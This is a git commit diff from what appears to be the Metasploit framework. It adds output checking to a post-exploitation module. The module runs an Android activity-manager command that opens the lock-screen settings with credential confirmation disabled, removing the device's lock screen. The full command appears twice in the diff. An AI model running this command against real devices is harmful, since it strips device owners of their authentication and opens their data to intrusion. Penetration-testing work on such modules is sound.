let the user know whether the command succeeded

bug/bundler_fix
Tim 2015-06-02 05:51:17 +01:00
parent 45b2632d21
commit c396fe2c68
No known key found for this signature in database
GPG Key ID: 217FBA50ABBAABEF
1 changed files with 7 additions and 1 deletions

View File

@ -46,7 +46,13 @@ class Metasploit4 < Msf::Post
return
end
cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task')
output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task')
if output =~ /Error:/
print_error("The Intent could not be started")
vprint_status("Command output: #{output}")
else
print_good("Intent started, the lock screen should now have been removed")
end
end
end